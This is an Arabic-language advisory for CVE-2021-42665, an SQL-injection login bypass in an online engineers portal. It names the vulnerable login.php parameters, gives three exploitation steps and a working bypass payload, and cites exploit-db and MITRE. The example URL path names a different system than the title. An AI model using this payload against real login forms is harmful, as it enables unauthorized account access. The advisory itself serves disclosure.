CVE-2021-42665

CVE-2021-42665 - ثغرة تجاوز المصادقة عبر حقن SQL في نظام بوابة المهندسين عبر الإنترنت.

الوصف الفني:

توجد ثغرة حقن SQL في نموذج تسجيل الدخول لبوابة المهندسين عبر الإنترنت والتي يمكن أن تسمح للمهاجم بتجاوز المصادقة.

المكونات المتأثرة -

الصفحة المعرضة للخطر - login.php

المعامل المعرض للخطر - "username"، "password"

خطوات الاستغلال:

1. انتقل إلى http://localhost/nia_munoz_monitoring_system/login.php
2. أدخل حمولتك في حقل اسم المستخدم أو كلمة المرور
3. انقر على تسجيل الدخول

إثبات المفهوم (Poc) -

ستسمح لك الحمولة التالية بتجاوز آلية المصادقة في نموذج تسجيل الدخول لبوابة المهندسين عبر الإنترنت -

sqli' OR '1'='1';-- -

المراجع -

https://www.exploit-db.com/exploits/50452

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42665